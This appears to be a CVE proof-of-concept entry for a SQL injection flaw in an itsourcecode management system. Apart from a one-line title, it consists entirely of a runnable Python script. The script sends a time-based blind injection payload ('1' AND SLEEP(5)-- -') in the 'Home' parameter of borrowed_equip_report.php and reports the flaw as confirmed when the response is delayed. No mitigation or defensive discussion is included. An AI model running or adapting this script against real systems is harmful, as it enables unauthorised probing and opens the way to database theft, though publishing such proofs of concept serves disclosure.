CVE-2026-5620: itsourcecode管理系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-ip/borrowed_equip_report.php" # Injection payload for testing SQLi # Using a simple time-based blind payload for demonstration payload = "1' AND SLEEP(5)-- -" params = { "Home": payload } try: print(f"[*] Sending request to {target_url} with payload: {payload}") response = requests.get(target_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Database response delay detected.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")